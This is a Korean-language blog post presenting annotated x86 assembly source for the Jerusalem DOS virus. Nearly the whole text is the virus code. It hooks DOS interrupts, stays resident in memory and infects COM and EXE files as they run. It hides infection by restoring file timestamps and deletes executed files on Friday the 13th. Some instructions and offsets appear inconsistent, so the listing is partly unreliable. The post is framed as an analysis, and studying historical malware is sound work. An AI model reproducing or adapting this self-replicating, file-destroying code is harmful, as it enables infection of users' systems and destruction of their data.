2009년 12월 19일 토요일

예루살렘 바이러스 소스 프로그램 분석

;----------------------------------------------------------------
; 예루살렘 바이러스 소스 프로그램 분석
;----------------------------------------------------------------

virus segment para 'virus'
assume cs:virus, ds:virus
start:
jmp virus_start

;----------------------------------------------------------------
; DATA 영역
;----------------------------------------------------------------

dw ?
virus_maker db 'MsDos' ;바이러스 식별자
file_ofs dw ?
file_seg dw ?
i_flage db ? ;13일의 금요일 처리 flag
d_f dw ?
d_11 dw ?
int8_ofs dw ?
int8_seg dw ?
int21_ofs dw ?
int21_seg dw ?
int24_ofs dw ?
int24_seg dw ?
d_1f dw ?
dd_rtn db 10h dup (?)
env_blk db 12h dup (?)
exe_si dw ?
exe_ss dw ?
exe_ip dw ?
exe_cm dw ?
intff db 3 dup (?)
file_id db ?
exe_header db 1ch dup (?)
file_5byte db 5 dup (?)
file_handle dw ? ;파일의 핸들로 사용
file_attr dw ? ;파일의 속성을 저장
file_date dw ? ;현재의 날짜
file_time dw ? ;현재의 시간
d_78 dw ?
d_7a dw ?
d_7c dw ?
d_7e dw ?
file_name dd ?
file_command db 'COMMAND.COM'
counter dw 100h ;시작 ip주소
dd ?

;----------------------------------------------------------------
; 바이러스 프로그램 시작
;----------------------------------------------------------------

virus_start:
cld ;디렉션 플레그를 0으로 초기화
;바이러스 프로그램 상주 여부 검사
mov ah, 0e0h ;ah=0e0h인 경우는 dos에서 사용 되지 않음
int 21h ;바이러스가 사용하여 ax=3000h로 리턴

cmp ah, 0e0h ;바이러스가 있는지 검사
jnb change_cs ;ah >= 0e0h인 경우는 바이러스가
;상주하지 않은 경우
cmp ah, 03h ;사용되지 않는다.
jb change_cs

mov ah, 0ddh ;ah=0ddh인 경우는 원래의 프로그램의 실행과 같은
mov di, 0100h ;환경을 만들어서 시작으로 jump하는 기능
mov si, 0710h ;따라서 바이러스가 상주하고 있으면 이곳에서
add si, di ;작업이 끝나고 원래의 화일이 실행됨
;바이러스가 만든 DD 루틴 실행



mov cx, word ptr cs:[di+offset d_11] ;cs레지스터의 보정
int 21h

;----------------------------------------------------------------
; 바이러스 상주 시키기
;----------------------------------------------------------------

change_cs:
mov ax, cs ;EXE file과 CS register를 통일하기 위해
add ax, 0010h ;retf 명령을 통해 CS 조정
mov ss, ax ;스택의 보정
mov sp, 0700h
push ax
mov ax, 00c5h
push ax
retf

l_1c5:
cld ;프로그램 로드 후 실행 루틴을 위한
mov cs:[0031h], es ;환경블럭 파라미터 만들기
mov cs:[0039h], es
mov cs:[003dh], es
mov cs:[0041h], es
mov ax, es
add ax, 0010h
add cs:[0049h], ax
add cs:[0045h], ax
mov ah, 0e0h ;바이러스 상주여부 검사
int 21h
cmp ah, 0e0h
jnb ram_virus ;바이러스 상주시키기 루틴으로 점프

cmp ah, 03h
pop es
mov ss, cs:[0045h]
mov sp, cs:[0043h]
jmp dword ptr cs:[0047h] ;점프 exe_ip

ram_virus:
xor ax, ax ;int ffh의 offset과 segment 저장
mov es, ax
mov ax, es:[03fch]
mov word ptr cs:intff, ax
mov al, es:[03feh]
mov byte ptr cs:intff[02h], al

mov word ptr es:[03fch], 0a5f3h ;rep movsw
mov byte ptr es:[03feh], 0cbh ;retf
pop ax
add ax, 0010h ;EXE형 화일과 COM형 화일의 cs register를 통일
mov es, ax
push cs
pop ds
mov cx, 0710h
shr cx, 1
xor si, si
mov di, si
push es
mov ax, 0142h
push ax

db 11101010b ;jmp 000:03fc
dw 03fch
dw 0000h

ret_f:
mov ax, cs ;스택 조정
mov ss, ax
mov sp, 0700h

xor ax, ax ;int ffh 내용 복구
mov ds, ax
mov ax, word ptr cs:intff
mov word ptr ds:[03fch], ax
mov al, cs:intff[02h]
mov byte ptr ds:[03feh], al

mov bx, sp
mov cl, 04h
shr bx, cl
add bx, 10h
mov cs:[0033h], bx
mov ah, 4ah
mov es, cs:[0031h]
int 21h

mov ax, 3521h ;int 21h 주소 저장
int 21h
mov word ptr cs:[0017h], bx
mov word ptr cs:[0019h], es

push cs ;int 21h 주소 바꾸기 (cs:35b)
pop ds
mov dx, 025bh
mov ax, 2521h
int 21h

mov es, ds:[0031h] ;es -> 환경블럭 segment
mov es, es:[002ch]
xor di, di
mov cx, 7fffh ;현재 path와 화일 이름 구하기
xor al, al

loop2: repnz scasb
cmp es:[di], al
loopnz loop2

mov dx, di ;화일 실행을 위한 파라미터 만들기
add dx, 03h ;ds=path명이 있는 곳의 segment
mov ax, 4b00h ;es=파라미터 블럭의 segment
push es ;ax=4b00h(로드후 실행)
pop ds ;bx=파라미터 블럭의 offset
push cs ;cx=관계없음
pop es ;dx=path명이 있는 곳의 offset
mov bx, 0035h
push ds ;register 대피
push es
push ax
push bx
push cx
push dx

mov ah, 2ah ;날짜, 시간 알아내기
int 21h
mov byte ptr cs:[00eh], 0 ;flag clear

cmp cx, 07c3h ;1987년 인가?
jz nochange_8h
cmp al, 05h ;금요일 인가?
jnz change_8h
cmp dl, 0dh ;13일 인가?
jnz change_8h
inc byte ptr cs:[00eh] ;flag set
jmp nochange_8h

change_8h:
mov ax, 3508h ;int 8h 주소 알아내기
int 21h
mov cs:[0013h], bx
mov cs:[0015h], es
push cs ;int 8h 주소 바꾸기
pop ds
mov word ptr ds:[001fh], 7e90h
mov ax, 2508h
mov dx, 021eh
int 21h

nochange_8h:
pop dx ;register 복구
pop cx
pop bx
pop ax
pop es
pop ds
pushf
call dword ptr cs:[0017h] ;원래 화일 실행

push ds ;메로리 회수
pop es
mov ah, 49h
int 21h
mov ah, 4dh
int 21h

mov ah, 31h
mov dx, 0600h
mov cl, 04h
shr dx, cl
add dx, 10h
int 21h

;----------------------------------------------------------------
; INT 24H Routine
;----------------------------------------------------------------

int_24h:
xor al, al ;error 처리 불가능 표시
iret

;----------------------------------------------------------------
; INT 8H Routine
;----------------------------------------------------------------

int_8h:
cmp word ptr cs:[001fh], 02h
jnz l_33d
push ax
push bx
push cx
push dx
push bp
mov ax, 0602h
mov bh, 87h
mov cx, 0505h
mov dx, 1010h
int 10h

pop bp
pop dx
pop cx
pop bx
pop ax

l_33d:
dec word ptr cs:[001fh]
jnz exit_8h
mov word ptr cs:[001fh], 0001h
push ax
push cx
push si
mov cx, 4001h
rep lodsb
pop si
pop cx
pop ax

exit_8h:
jmp dword ptr cs:[0013h]

;----------------------------------------------------------------
; INT 21H Routine
;----------------------------------------------------------------

int_21h:
pushf
cmp ah, 0e0h ;ah=e0 인 경우 => 바이러스 상주 표시
jnz l_366
mov ax, 0300h
popf
iret

l_366:
cmp ah, 0ddh ;각 바이러스 루틴으로 점프
jz r_dd
cmp ah, 0deh
jz r_de
cmp ax, 4b00h
jnz original_21h
jmp r_4b00

original_21h:
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행

;----------------------------------------------------------------
; AH := DD Routine
;----------------------------------------------------------------

r_dd:
pop ax ;원래 화일 실행
pop ax ;원래 화일을 100h 부터 쓴 다음
mov ax, 0100h ;화일 처음으로 점프
mov cs:[000ah], ax
pop ax
mov cs:[000ch], ax
rep movsb
popf
mov ax, cs:[000fh]
jmp dword ptr cs:[000ah]

;----------------------------------------------------------------
; AH := DE Routine
;----------------------------------------------------------------

r_de:
add sp, 06h
popf
mov ax, cs
mov ss, ax
mov sp, 0710h
push es
push es
xor di, di
push cs
pop es
mov cx, 0010h
mov si, bx
mov di, 0021h
rep movsb
mov ax, ds
mov es, ax
mul word ptr cs:[007ah]
add ax, cs:[002bh]
adc dx, +00
div word ptr cs:[007ah]
mov ds, ax
mov si, dx
mov di, dx
mov bp, es
mov bx, es:[002fh]
or bx, bx
jz l_3ed

l_3da:
mov cx, 8000h
rep movsw
add ax, 1000h
add bp, 1000h
mov ds, ax
mov es, bp
dec bx
jnz l_3da

l_3ed:
mov cx, cs:[003dh]
rep movsb
pop ax
push ax
add ax, 0010h
add cs:[0029h], ax
add cs:[0025h], ax
mov ax, cs:[0021h]
pop ds
pop es
mov ss, cs:[0029h]
mov sp, cs:[0027h]
jmp dword ptr cs:[0023h]

;----------------------------------------------------------------
; 13일의 금요일 처리 Routine
;----------------------------------------------------------------

fri_13:
xor cx, cx ;속성 바꾸기
mov ax, 4301h
int 21h
mov ah, 41h ;화일 지우기
int 21h
mov ax, 4b00h
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행

;----------------------------------------------------------------
; AX := 4B00H Routine
;----------------------------------------------------------------

r_4b00:
cmp byte ptr cs:[000eh], 01 ;13일의 금요일이면 화일 지우기
jz fri_13

mov word ptr cs:[0070h], 0ffffh ;file handle 저장
mov word ptr cs:[007fh], 0000 ;counter 초기화

mov cs:[0080h], dx ;화일 명칭 offset
mov cs:[0082h], ds ;화일 명칭 segment

push ax ;register 대피
push bx
push cx
push dx
push si
push di
push ds
push es

cld ;다른 드라이브의 화일인가?
mov di, dx
xor dl, dl
cmp byte ptr [di+01], 3ah ;3ah = ':'
jnz l_464

mov dl, [di] ;드라이브 번호 만들기
and dl, 1fh

l_464:
mov ah, 36h ;디스켓 용량 알아내기
int 21h

cmp ax, 0ffffh ;error이면 끝내기
jnz l_470

l_46d: jmp exit_2

l_470: mul bx ;용량이 충분한가?
mul cx
or dx, dx
jnz infect
cmp ax, 0710h
jb l_46d

;화일이 "COMMAND.COM" 인가를 확인
infect:
mov dx, word ptr cs:file_name ;화일 이름 알아내기
push ds
pop es
xor al, al
mov cx, 0041h
repnz scasb

mov si, word ptr cs:file_name ;화일 이름 대문자로 바꾸기

loop_ch:
mov al, [si]
or al, al
jz exit_ch
cmp al, 61h
jb inc_si
cmp al, 7ah
ja inc_si
sub byte ptr [si], 20h

inc_si:
inc si
jmp loop_ch

exit_ch:
mov cx, 000bh ;"COMMAND.COM" 인가?
sub si, cx
mov di, 0084h
push cs
pop es
mov cx, 000bh
repz cmpsb
jnz no_command
jmp exit_2

no_command:
mov ax, 4300h ;화일 속성 알아내기
int 21h
jb l_4c4

mov cs:[0072h], cs ;화일 속성 저장

l_4c4: jb l_4eb

xor al, al
mov cs:[004eh], al ;file flag clear

push ds ;화일 이름 끝으로 pointer 이동
pop es
mov di, dx
mov cx, 0041h
repnz scasb

cmp byte ptr [di-02], 4dh ;COM 형 화일
jz no_com
cmp byte ptr [di-02], 6dh
jz no_com
inc byte ptr cs:[0004eh] ;file flag set

no_com:
mov ax, 3d00h ;file open(read only)
int 21h

l_4eb: jb l_547

mov cs:[0070h], ax ;pointer를 화일 끝 5byte로 옮긴다.
mov bx, ax
mov cx, 0ffffh
mov dx, 0fffbh
int 21h
jb l_4eb

add ax, 0005h ;file size 저장
mov cs:[0011h], ax

mov cx, 0005h ;화일에서 5byte 읽기
mov dx, 006bh
mov ax, cs
mov ds, ax
mov es, ax
mov ah, 3fh
int 21h

mov di, dx ;바이러스 감염 여부 검사
mov si, 0005h
repz cmpsb
jnz no_infect

mov ah, 3eh ;file close, end
int 21h
jmp exit_2

no_infect:
mov ax, 3524h ;int 24h 주소 알아내기
int 21h
mov int24_ofs, bx
mov int24_seg, es

mov dx, 021bh ;int 24h 주소 바꾸기
mov ax, 2524h
int 21h

lds dx, dword ptr file_name ;화일 속성 바꾸기
xor cx, cx
mov ax, 4301h
int 21h

l_547: jb l_584

mov bx, cs:[0070h] ;file close
mov ah, 3eh
int 21h

mov word ptr cs:[0070h], 0ffffh ;file handle clear
mov ax, 3d02h ;file open(read/write)
int 21h
jb l_584

mov cs:[0070h], ax ;segment register set
mov ax, cs
mov ds, ax
mov es, ax

mov bx, [0070h] ;화일 날짜/시간 알아내기
mov ax, 5700h
int 21h

mov file_date, dx ;날짜/시간 저장
mov file_time, cx

mov ax, 4200h ;화일 처음으로 pointer 이동
xor cx, cx
mov dx, cx
int 21h

l_584: jb l_5e3

cmp file_id, 00 ;EXE or COM ?
jz com_proc
jmp exe_proc

;----------------------------------------------------------------
; COM 형 File 처리 Routine
;----------------------------------------------------------------

com_proc:
mov bx, 1000h ;메모리 할당(64k)
mov ah, 48h
int 21h
jnb memory_ok
mov ah, 3eh ;메모리 부족이면 끝냄
mov bx, [0070h] ;file close
int 21h
jmp exit_2

memory_ok:
inc counter ;counter 증가
mov es,ax ;할당된 메모리로 바이러스 프로그램 복사
xor si, si
mov di, di
mov cx, 0710h
rep movsb

mov dx, di ;file load
mov cx, [0011h]
mov bx, [0070h]
push es
pop ds
mov ah, 3fh
int 21h

l_5e3: jb l_5e1

add di, cx ;화일 처음으로 pointer 이동
xor cx, cx
mov dx, cx
mov ax, 4200h
int 21h

mov si, 0005h ;바이러스 식별자 넣기
mov cx, 0005h
db 0f3h, 2eh, 0a4h ;repz movsb(cs:)

mov cx, di ;화일 쓰기
xor dx, dx
mov ah, 40h
int 21h

l_5e1: jb l_5f0

jmp exit_1

;----------------------------------------------------------------
; EXE 형 File 처리 Routine
;----------------------------------------------------------------

exe_proc:
mov cx, 001ch ;file header 읽기
mov dx, offset exe_header
mov ah, 3fh
int 21h

l_5f0: jb l_63c

;----------------------------------------------------------------
; File header 조정, 저장
;----------------------------------------------------------------

mov word ptr exe_header[12h], 1984 ;checksum
mov ax, word ptr exe_header[0eh] ;ss저장
mov word ptr exe_ss, ax
mov ax, word ptr exe_header[10h] ;si저장
mov word ptr exe_si, ax
mov ax, word ptr exe_header[14h] ;ip저장
mov word ptr exe_ip, ax
mov ax, word ptr exe_header[16h] ;code module 저장
mov word ptr exe_cm, ax
mov ax, word ptr exe_header[04h] ;file sector 조정
cmp word ptr exe_header[02h], 00
jz no_dec
dec ax

no_dec:
mul word ptr d_78
add ax, word ptr exe_header[02h]
adc dx, 00
adc ax, 000fh
adc dx, 00
and ax, 0fff0h
mov word ptr d_7c, ax
mov word ptr d_7e, dx
add ax, 0710h
adc dx, 00

l_63c: jb l_678
div word ptr d_78
or dx, dx
jz no_inc
inc ax

no_inc:
mov word ptr exe_header[04h], ax
mov word ptr exe_header[02h], dx

mov ax, d_7c
mov dx, d_7e
div word ptr d_7a
sub ax, word ptr exe_header[08h]
mov word ptr exe_header[16h], ax
mov word ptr exe_header[14h], 00c5h
mov word ptr exe_header[0eh], ax
mov word ptr exe_header[10h], 0710h

xor cx, cx ;화일 처음으로 pointer 이동
mov dx, cx
mov ax, 4200h
int 21h

l_678: jb l_684

mov cx, 001ch ;변경된 화일 header 쓰기
mov dx, 004fh
mov ah, 40h
int 21h

l_684: jb l_697

cmp ax, cx ;if error then goto exit
jnz exit_1

mov dx, d_7c ;화일의 코드 끝으로 pointer 이동
mov cx, d_7e
mov ax, 4200h
int 21h

l_697: jb exit_1

xor dx, dx ;바이러스 프로그램 쓰기

;----------------------------------------------------------------
; 마무리 처리 Routine
;----------------------------------------------------------------

exit_1:
cmp counter, 00 ;counter check
jz l_6ae
mov ah, 49h ;할당 메모리 회수
int 21h

l_6ae:
cmp word ptr cs:file_handle, -01h ;file error 이면 끝
jz exit_2 ;(handle = ffff)

mov bx, cs:file_handle ;원래 화일의 시간과 날짜로 변경
mov dx, cs:[0074h] ;바이러스 감염을 숨기기위한 작업
mov cx, cs:[0076h]
mov ax, 5701h
int 21h

mov ah, 3eh ;file close
int 21h

lds dx, cs:[0080h] ;원래 화일 속성으로 복구
mov cx, cs:[0072h]
mov ax, 4301h
int 21h

lds dx, cs:[001bh] ;int 24h 복구
mov ax, 2524h
int 21h
;----------------------------------------------------------------

exit_2:
pop es ;Register 복구
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp dword ptr cs:[0017h] ;원래 int 21h 실행

virus ends

댓글 없음:

댓글 쓰기